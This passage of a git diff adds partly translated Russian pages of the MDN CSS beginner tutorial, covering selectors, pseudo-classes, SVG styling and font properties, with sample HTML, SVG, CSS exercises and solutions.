+ </li>
+ <li><span id="result_box" lang="ru"><span>Теперь отредактируйте свой файл CSS.</span> <span>Замените все содержимое на:</span></span>
+  <pre class="brush:css">strong { color: red; }
+.carrot { color: orange; }
+.spinach { color: green; }
+#first { font-style: italic; }
+</pre>
+ </li>
+ <li><span id="result_box" lang="ru"><span>Сохраните файлы и обновите свой браузер, чтобы увидеть результат:</span></span>
+  <table style="border: 2px outset #3366bb; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+
+  <p><span id="result_box" lang="ru"><span>Вы можете попробовать перестроить строки в вашем файле CSS, чтобы показать, что порядок не имеет никакого эффекта.</span></span></p>
+
+  <p>Селекторы классов <code>.carrot</code> и <code>.spinach</code> имеют приоритет над селектором тега <code>strong</code>.</p>
+
+  <p>Селектор ID <code>#first</code> имеет приоритет над селекторами класс и тег.</p>
+ </li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Вызовы</div>
+
+<ol>
+ <li><span id="result_box" lang="ru"><span>Не изменяя свой HTML-файл, добавьте в свой CSS-файл одно правило, которое сохраняет все начальные буквы того же цвета, что и сейчас, но делает весь текст во втором абзаце синим:</span></span>
+
+  <table style="background-color: white; border: 2px outset #3366bb; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><span id="result_box" lang="ru"><span>Теперь измените правило, которое вы только что добавили (не изменяя ничего другого), чтобы сделать первый абзац синим:</span></span>
+  <table style="background-color: white; border: 2px outset #3366bb; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<ol>
+ <li>Add a rule with an ID selector of <code>#second</code> and a declaration <code>color: blue;</code>, as shown below:
+
+  <pre class="brush: css">#second { color: blue; }
+</pre>
+  A more specific selector, <code>p#second</code> also works.</li>
+ <li>Change the selector of the new rule to be a tag selector using <code>p</code>:
+  <pre class="brush: css">p { color: blue; }
+</pre>
+ </li>
+</ol>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">See a solution for the challenge.</a></div>
+
+<h2 id="Действие_Использование_селекторов_псевдокласса">Действие: Использование селекторов псевдокласса</h2>
+
+<ol>
+ <li><span class="short_text" id="result_box" lang="ru"><span>Создайте HTML-файл со следующим содержимым</span></span>:
+
+  <pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;link rel="stylesheet" href="style1.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Go to our &lt;a class="homepage" href="http://www.example.com/" title="Home page"&gt;Home page&lt;/a&gt;.&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </li>
+ <li><span id="result_box" lang="ru"><span>Теперь отредактируйте свой файл CSS.</span> <span>Замените все содержимое на:</span></span>
+  <pre class="brush: css">a.homepage:link, a.homepage:visited {
+  padding: 1px 10px 1px 10px;
+  color: #fff;
+  background: #555;
+  border-radius: 3px;
+  border: 1px outset rgba(50,50,50,.5);
+  font-family: georgia, serif;
+  font-size: 14px;
+  font-style: italic;
+  text-decoration: none;
+}
+
+a.homepage:hover, a.homepage:focus, a.homepage:active {
+  background-color: #666;
+}
+</pre>
+ </li>
+ <li><span id="result_box" lang="ru"><span>Сохраните файлы и обновите свой браузер, чтобы увидеть результат (наведите указатель мыши на следующую ссылку, чтобы увидеть эффект):</span></span>
+  <table style="border: 2px outset #3366bb; padding: 1em;">
+   <tbody>
+    <tr>
+     <td><span class="short_text" id="result_box" lang="ru"><span>Перейдите к нашей</span></span> <a class="tutospecial" href="https://developer.mozilla.org/ru/docs/Web/Guide/CSS/Getting_started/Selectors#" title="Home page">Домашняя страница</a><span style="display: none;"> </span><span style="display: none;"> </span></td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+
+<h2 id="Действие_Использование_селекторов_на_основе_отношений_и_псевдоклассов">Действие: Использование селекторов на основе отношений и псевдоклассов</h2>
+
+<p><span id="result_box" lang="ru"><span>С помощью селекторов, основанных на связях и псевдоклассах, вы можете создавать сложные каскадные алгоритмы.</span></span> <span id="result_box" lang="ru"><span>Это обычная техника, используемая, например, для создания</span></span> <strong>чисто-CSS выпадающее меню</strong> ( <span id="result_box" lang="ru"><span>это только CSS, без использования JavaScript).</span> <span>Суть этого метода заключается в создании правила следующего вида:</span></span></p>
+
+<pre class="brush: css">div.menu-bar ul ul {
+  display: none;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}</pre>
+
+<p><span id="result_box" lang="ru"><span>для применения к структуре HTML, наподобии следующей:</span></span></p>
+
+<pre class="brush: html">&lt;div class="menu-bar"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;a href="example.html"&gt;Menu&lt;/a&gt;
+      &lt;ul&gt;
+        &lt;li&gt;
+          &lt;a href="example.html"&gt;Link&lt;/a&gt;
+        &lt;/li&gt;
+        &lt;li&gt;
+          &lt;a class="menu-nav" href="example.html"&gt;Submenu&lt;/a&gt;
+          &lt;ul&gt;
+            &lt;li&gt;
+              &lt;a class="menu-nav" href="example.html"&gt;Submenu&lt;/a&gt;
+              &lt;ul&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+              &lt;/ul&gt;
+            &lt;/li&gt;
+            &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+          &lt;/ul&gt;
+        &lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Смотрите наш полный <a class="internal" href="https://mdn.mozillademos.org/files/3700/css_dropdown_menu.html" title="css_dropdown_menu.html">Пример CSS-основанного выпадающего меню</a> для возможной реплики.</p>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>Ваша таблица стилей начинает выглядеть плотной и сложной. Следующая секция описывает пути CSS <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS">легкого чтения</a>. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}</p>
diff --git a/files/ru/web/guide/css/getting_started/svg_и_css/index.html b/files/ru/web/guide/css/getting_started/svg_и_css/index.html
new file mode 100644
index 0000000000..a69c4281af
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/svg_и_css/index.html
@@ -0,0 +1,213 @@
+---
+title: SVG и CSS
+slug: Web/Guide/CSS/Getting_started/SVG_и_CSS
+translation_of: Web/SVG/Tutorial/SVG_and_CSS
+---
+<div>{{CSSTutorialTOC}}</div>
+
+<p>На этой странице показано, как использовать CSS со специальным языком для создания графики: <a href="/en-US/docs/SVG">SVG</a>.</p>
+
+<p>Вы сделаете небольшой пример, которые можно будет запустить в любом браузере с поддержкой SVG.</p>
+
+<p>Это вторая секция Части II <a href="/en-US/docs/Web/Guide/CSS/Getting_started">Руководство по CSS</a>.<br>
+ Предыдущая секция: <a href="/en-US/docs/Web/JavaScript/Getting_Started">JavaScript</a><br>
+ Следующая секция: <a href="/en-US/docs/Web/Guide/CSS/Getting_started/XML_data">Данные XML</a></p>
+
+<h3 id="Information_SVG" name="Information:_SVG">Общая информация: SVG</h3>
+
+<p><em>SVG</em> (Scalable Vector Graphics) является подмножеством языка XML и предназначен для создания графики.</p>
+
+<p>SVG можно использовать для статических изображений, а также для анимаций и создания пользовательских интерфейсов.</p>
+
+<p>Как и прочие языки, основанные на XML, SVG поддерживает использование таблиц стилей CSS, что позволяет отделить различные варианты визуального отображения от структуры данных.</p>
+
+<p>Кроме того, таблицы стилей, которые вы используете в других языках разметки документов, могут содержать ссылку на SVG графику, в тех местах, где необходимо изображение. Например, в таблице стилей, для вашего HTML документа, можно указать ссылку (URL) на SVG графику в свойстве background.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em; width: 100%;">
+ <caption>Немного подробностей</caption>
+ <tbody>
+  <tr>
+   <td>
+    <p>На момент написания статьи (середина 2011года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определенных браузерах. Для более подробной информации о текущей поддержке SVG, см. <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, либо в таблицах совместимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для информации о поддержке отдельных элементов.</p>
+
+    <p>В остальные версии можно добавить поддержку SVG, установив дополнительный плагин, например, предоставленный компанией <a href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>.</p>
+
+    <p>Более подробная информация о SVG в Mozilla, представлена на станице <a href="/en-US/docs/SVG">SVG</a> в этой wiki.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Action_An_SVG_demonstration" name="Action:_An_SVG_demonstration">За дело: Демонстрация SVG</h3>
+
+<p>Создайте новый документ SVG, как обычный текстовый файл, <code>doc8.svg</code>. Скопируйте и вставьте содержимое блока ниже, убедитесь, что пролистали его полностью, чтобы скопировать все:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style8.css"?&gt;
+
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+
+&lt;svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+&lt;title&gt;SVG demonstration&lt;/title&gt;
+&lt;desc&gt;Mozilla CSS Getting Started - SVG demonstration&lt;/desc&gt;
+
+&lt;defs&gt;
+  &lt;g id="segment" class="segment"&gt;
+    &lt;path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/&gt;
+    &lt;path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/&gt;
+    &lt;/g&gt;
+  &lt;g id="quadrant"&gt;
+    &lt;use xlink:href="#segment"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(18)"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(36)"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(54)"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(72)"/&gt;
+    &lt;/g&gt;
+  &lt;g id="petals"&gt;
+    &lt;use xlink:href="#quadrant"/&gt;
+    &lt;use xlink:href="#quadrant" transform="rotate(90)"/&gt;
+    &lt;use xlink:href="#quadrant" transform="rotate(180)"/&gt;
+    &lt;use xlink:href="#quadrant" transform="rotate(270)"/&gt;
+    &lt;/g&gt;
+  &lt;radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse"&gt;
+    &lt;stop id="fade-stop-1" offset="33%"/&gt;
+    &lt;stop id="fade-stop-2" offset="95%"/&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+&lt;text id="heading" x="-280" y="-270"&gt;
+  SVG demonstration&lt;/text&gt;
+&lt;text  id="caption" x="-280" y="-250"&gt;
+  Move your mouse pointer over the flower.&lt;/text&gt;
+
+&lt;g id="flower"&gt;
+  &lt;circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/&gt;
+  &lt;use id="outer-petals" xlink:href="#petals"/&gt;
+  &lt;use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/&gt;
+  &lt;/g&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>Создайте новый файл CSS, <code>style8.css</code>. копируйте и вставьте содержимое блока ниже, убедитесь, что пролистали его полностью, чтобы скопировать все:</p>
+
+<pre class="brush: css">/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover &gt; .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover &gt; .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover &gt; .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover &gt; .segment-edge {
+  stroke: green;
+  }
+</pre>
+
+<p>Откройте документ в вашем браузере с поддержкой SVG. Переместите указатель мыши на изображение.</p>
+
+<p>Эта wiki не поддерживает вставку SVG в страницы, поэтому мы не имеем возможности продемонстрировать это здесь. Изображение будет выглядеть так:</p>
+
+<table style="border: 2px outset #3366bb;">
+ <tbody>
+  <tr>
+   <td><img alt="SVG demonstration" src="https://mdn.mozillademos.org/files/719/SVG-flower.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Примечания к демонстрации:</p>
+
+<ul>
+ <li>Документ SVG привязывается к таблице стилей общепринятым способом.</li>
+ <li>SVG содержит собственные свойства CSS и их значения. Некоторые из них похожи на значения CSS для HTML.</li>
+</ul>
+
+<table style="background-color: #fffff4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption>Задание</caption>
+ <tbody>
+  <tr>
+   <td>Измение таблицу стилей так, чтобы все внутренние лепестки становились розовыми, по наведению курсора на одного из них, при этом нельзя менять принцип работы других лепестков.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#SVG_and_CSS" title="https://developer.mozilla.org/en/CSS/Getting_Started/Challenge_solutions#SVG_and_CSS">Посмотреть решение к этому заданию.</a></p>
+
+<h4 id="What_next.3F" name="What_next.3F">Что дальше?</h4>
+
+<p>В этой демонстрации, ваш браузер с поддержкой SVG уже знает, как отображать элементы  SVG. Таблица стилей всего лишь некоторым образом меняет отображение. То же самое происходит с документами HTML и XUL. Однако CSS можно использовать для любых документов XML, в которых нет предусмотренного по умолчанию способа отображения элементов. Данный пример продемонстрирован на следующей странице: <a href="/en-US/docs/Web/Guide/CSS/Getting_started/XML_data">Данные XML</a></p>
diff --git a/files/ru/web/guide/css/getting_started/text_styles/index.html b/files/ru/web/guide/css/getting_started/text_styles/index.html
new file mode 100644
index 0000000000..d8e97fa5bd
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/text_styles/index.html
@@ -0,0 +1,151 @@
+---
+title: Text styles
+slug: Web/Guide/CSS/Getting_started/Text_styles
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}<span class="seoSummary">This is the 7th section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Getting Started</a> tutorial; it gives more examples of text styles. You modify your sample stylesheet to use different fonts.</span></p>
+
+<h2 class="clearLeft" id="Information_Text_styles">Information: Text styles</h2>
+
+<p>CSS имеет несколько свойств для стилизации текста.</p>
+
+<p>There is a convenient shorthand property, {{ cssxref("font") }}, which you can use to specify several aspects at once—for example:</p>
+
+<ul>
+ <li>Bold, italic, and small-caps (small capitals)</li>
+ <li>Size</li>
+ <li>Line height</li>
+ <li>Font typeface</li>
+</ul>
+
+<div class="tuto_example">
+<div class="tuto_type">Example</div>
+
+<pre class="brush:css">p {
+font: italic 75%/125% "Comic Sans MS", cursive;
+}
+</pre>
+
+<p>This rule sets various font properties, making all paragraphs italic.</p>
+
+<p>The font size is set to three-quarters of the size in each paragraph's parent element, and the line height is set to 125% (a little more spaced than normal).</p>
+
+<p>The font typeface is set to Comic Sans MS, but if this typeface is not available then the browser will use its default cursive (hand-written) typeface.</p>
+
+<p>The rule has the side-effect of turning off bold and small-caps (setting them to <code>normal</code>).</p>
+</div>
+
+<h3 id="Font_faces">Font faces</h3>
+
+<p>You cannot predict what typefaces the readers of your document will have. When you specify font typefaces, it is a good idea to give a list of alternatives in order of preference.</p>
+
+<p>End the list with one of the built-in default typefaces: <code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> or <code>monospace</code>.</p>
+
+<p>If the typeface does not support some features in the document, then the browser can substitute a different typeface. For example, the document might contain special characters that the typeface does not support. If the browser can find another typeface that has those characters, then it will use the other typeface.</p>
+
+<p>To specify a typeface on its own, use the {{ cssxref("font-family") }} property.</p>
+
+<h3 id="Font_sizes">Font sizes</h3>
+
+<p>Browser users can override the default font sizes or change the text size while they read a page, so it makes good sense for you to use relative sizes wherever you can.</p>
+
+<p>You can use some built-in values for font sizes, like <code>small</code>, <code>medium</code> and <code>large</code>. You can also use values relative to the font size of the parent element like: <code>smaller</code>, <code>larger</code>, <code>150%</code> or <code>1.5em</code>. An "em" is equivalent to the width of the letter "m" (for the font size of the parent element); thus 1.5em is one-and-a-half times the size of the font of the parent element.</p>
+
+<p>If necessary you can specify an actual size like: <code>14px</code> (14 pixels) for a display device or 14pt (14 points) for a printer. This is not accessible for visually impaired users because it does not allow them to change the size. A more accessible strategy is to set a built-in value like medium on a top-level element of the document, and then set relative sizes for all its descendent elements.</p>
+
+<p>To specify a font size on its own, use the {{ cssxref("font-size") }} property.</p>
+
+<h3 id="Line_height">Line height</h3>
+
+<p>The line height specifies the spacing between lines. If your document has long paragraphs with many lines, a larger-than-normal spacing makes it easier to read, especially if the font size is small.</p>
+
+<p>To specify a line height on its own, use the {{ cssxref("line-height") }} property.</p>
+
+<h3 id="Decoration">Decoration</h3>
+
+<p>The separate {{ cssxref("text-decoration") }} property can specify other styles, like <code>underline</code> or <code>line-through</code>. You can set it to <code>none</code> to explicitly remove any decoration.</p>
+
+<h3 id="Other_properties">Other properties</h3>
+
+<p>To specify italic on its own, use {{ cssxref("font-style") }}<code>: italic;</code><br>
+ To specify bold on its own, use <code>{{ cssxref("font-weight") }}: bold;</code><br>
+ To specify small capitals on its own, use <code>{{ cssxref("font-variant") }}: small-caps;</code></p>
+
+<p>To turn any of these off individually, you can specify the value <code>normal</code> or <code>inherit</code>.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">More details</div>
+
+<p>You can specify text styles in a variety of other ways.</p>
+
+<p>For example, some of the properties mentioned here have other values that you can use.</p>
+
+<p>In a complex stylesheet, avoid using the shorthand <code>font</code> property because of its side-effects (resetting other individual properties).</p>
+
+<p>For full details of the properties that relate to fonts, see <a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonts</a> in the CSS Specification. For full details of text decoration, see <a class="external" href="http://www.w3.org/TR/CSS21/text.html">Text</a>.</p>
+
+<p>If you don't want to depend on the typefaces installed on users' systems, you can use {{ cssxref("@font-face") }} to specify an online font. However, this requires that the users have a browser that supports this rule.</p>
+</div>
+
+<h2 id="Action_Specifying_fonts">Action: Specifying fonts</h2>
+
+<p>For a simple document, you can set the font of the {{ HTMLElement("body") }} element and the rest of the document inherits the settings.</p>
+
+<ol>
+ <li>Edit your CSS file.</li>
+ <li>Add the following rule to change the font throughout the document. The top of the CSS file is a logical place for it, but it has the same effect wherever you put it:
+  <pre class="eval">body {
+font: 16px "Comic Sans MS", cursive;
+}
+</pre>
+ </li>
+ <li>Add a comment explaining the rule, and add white space to make it match your preferred layout.</li>
+ <li>Save the file and refresh your browser to see the effect. If your system has Comic Sans MS, or another cursive font that does not support italic, then your browser chooses a different font face for the italic text in the first line:
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li>From your browser's menu bar, choose <strong>View &gt; Text Size &gt; Increase</strong> (or <strong>View &gt; Zoom &gt; Zoom In</strong>). Even though you specified 16 pixels in the style, a user reading the document can change the size.</li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Challenge</div>
+
+<p>Without changing anything else, make all six initial letters twice the size in the browser's default serif font:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets</td>
+  </tr>
+  <tr>
+   <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Add the following style declaration to the <code>strong</code> rule:</p>
+
+<pre class="brush: css">  font: 200% serif;
+</pre>
+If you use separate declarations for <code>font-size</code> and <code>font-family</code>, then the <code>font-style</code> setting on the first paragraph is <em>not</em> overridden.
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">See a solution for the challenge.</a></div>
+
+<h2 id="What_next">What next?</h2>
+
+<p>{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Color", "Color")}}Your sample document already uses several named colors. The <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Color" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Color">next section</a> lists the names of standard colors and explains how you can specify others<strong>.</strong></p>
diff --git a/files/ru/web/guide/css/getting_started/what_is_css/index.html b/files/ru/web/guide/css/getting_started/what_is_css/index.html
new file mode 100644
index 0000000000..597b5be93f
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/what_is_css/index.html
@@ -0,0 +1,119 @@
+---
+title: Что такое CSS?
+slug: Web/Guide/CSS/Getting_started/What_is_CSS
+tags:
+  - Beginner
+  - CSS
+  - 'CSS:Getting_Started'
+  - Example
+  - Guide
+  - Веб
+  - Новичку
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<div>{{ CSSTutorialTOC() }}</div>
+
+<p>{{previousPage("/ru/docs/Web/Guide/CSS/Getting_Started", "CSS для начинающих")}} <span class="seoSummary">Эта первая статья руководства по <a href="/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для начинающих</a> кратко объясняет, что такое Cascading Style Sheets (CSS). С её помощью вы сможете создать простой документ, который будете использовать в дальнейших разделах.</span></p>
+
+<h2 class="clearLeft" id="Информация_Что_такое_CSS">Информация: Что такое CSS</h2>
+
+<p>Каскадные таблицы стилей (Cascading Style Sheets = <dfn><abbr title="Cascading Style Sheets">CSS</abbr></dfn>) — это язык, который отвечает за визуальное представление документов пользователю.</p>
+
+<p>Под <em>документом</em> мы будем понимать набор информации о структуре страницы, описываемый <em>языком разметки</em>.</p>
+
+<p>А <em>представление</em> документа пользователю, в свою очередь, означает его преобразование в удобную для восприятия форму. Браузеры, такие как Firefox, Chrome или Internet Explorer, были созданы для визуального отображения документов, например, на экране компьютера, проекторе или вывода через принтер.</p>
+
+<div class="tuto_example">
+<p><strong>Примеры</strong></p>
+
+<ul>
+ <li>Страница сайта, которую вы сейчас читаете — это документ. Структура информации, которую вы видите на странице, обычно описывается при помощи языка разметки HTML (<span lang="en">HyperText Markup Language</span> — Язык ГиперТекстовой Разметки)</li>
+ <li>Диалоговые окна в компьютерных программах, также называемые модальными окнами, как правило, также являются документами. Такие окна могут также быть описаны с помощью языка разметки, такого как XUL (<span lang="en">XML User Interface Language</span> — XML’ный Язык Пользовательского Интерфейса), которые можно найти, например, в некоторых приложениях от Mozilla.</li>
+</ul>
+</div>
+
+<p>В этом руководстве блоки с заголовком <strong>Подробнее</strong>, как нижеследующий, содержат дополнительную информацию и ссылки на ресурсы, позволяющие более глубоко изучить вопрос, которому посвящен тот или иной раздел. Вы можете сразу же воспользоваться этими материалами или же пропустить эти блоки и вернуться к ним позже.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">Подробнее</div>
+
+<p>Документ это не то же самое, что файл. Но, тем не менее, документ может храниться в одном файле.</p>
+
+<p>Со страницей, которую вы сейчас читаете, дела обстоят немного сложнее. Когда ваш браузер запрашивает данную страницу, сервер обращается к базе данных и генерирует документ, собирая его по частям из нескольких документов, каждый из которых, в свою очередь, может располагаться в нескольких файлах. Однако в этом руководстве вы также сможете работать с документами, каждый из которых представлен одним файлом.</p>
+
+<p>Больше информации о документах и языках разметки вы найдете в других разделах этого сайта:</p>
+
+<table style="background-color: inherit; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td><a href="/ru/docs/Web/HTML" title="/ru/docs/Web/HTML">HTML</a></td>
+   <td>о веб-страницах</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/XML" title="/ru/docs/XML">XML</a></td>
+   <td>о структуре документов в общем</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/SVG" title="/ru/docs/Web/SVG">SVG</a></td>
+   <td>о графике</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/XUL" title="/ru/docs/XUL">XUL</a></td>
+   <td>о пользовательских интерфейсах в Mozilla</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Во второй части данного руководства вы встретите примеры этих языков разметки.</p>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Подробнее</div>
+
+<p>В терминах CSS программа, которая выводит документ пользователю, так называемому <em lang="en">user agent</em> (<span lang="en">UA</span>). Браузер — один из видов UA. CSS, таким образом, не предназначен только для браузеров или визуального представления, но в первой части данного руководства вы будете работать с CSS только в браузере.</p>
+
+<p>Прочие определения и термины, имеющие отношение к CSS, вы можете найти в <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Определениях</a> спецификации CSS, созданной World Wide Web Consortium (W3C), международным сообществом которое установило открытые стандарты web.</p>
+</div>
+
+<h2 id="К_действию_Создание_документа">К действию: Создание документа</h2>
+
+<ol>
+ <li>Создайте новую папку на вашем компьютере для упражнений.</li>
+ <li>Откройте текстовый редактор и создайте новый текстовый файл. Этот файл будет содержать документ для нескольких следующих упражнений.</li>
+ <li>Скопируйте и вставьте HTML, приведенный ниже, а затем сохраните ваш файл под именем <code>doc1.html.</code>
+  <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;p&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+  <p>{{ LiveSampleLink('Action.3A_Creating_a_document', 'Посмотреть демо') }}</p>
+ </li>
+ <li>Откройте новую вкладку или новое окно в вашем браузере и откройте только что созданный файл.
+  <p>Вы должны увидеть строку, в которой заглавные буквы выделены полужирным начертанием:</p>
+
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+
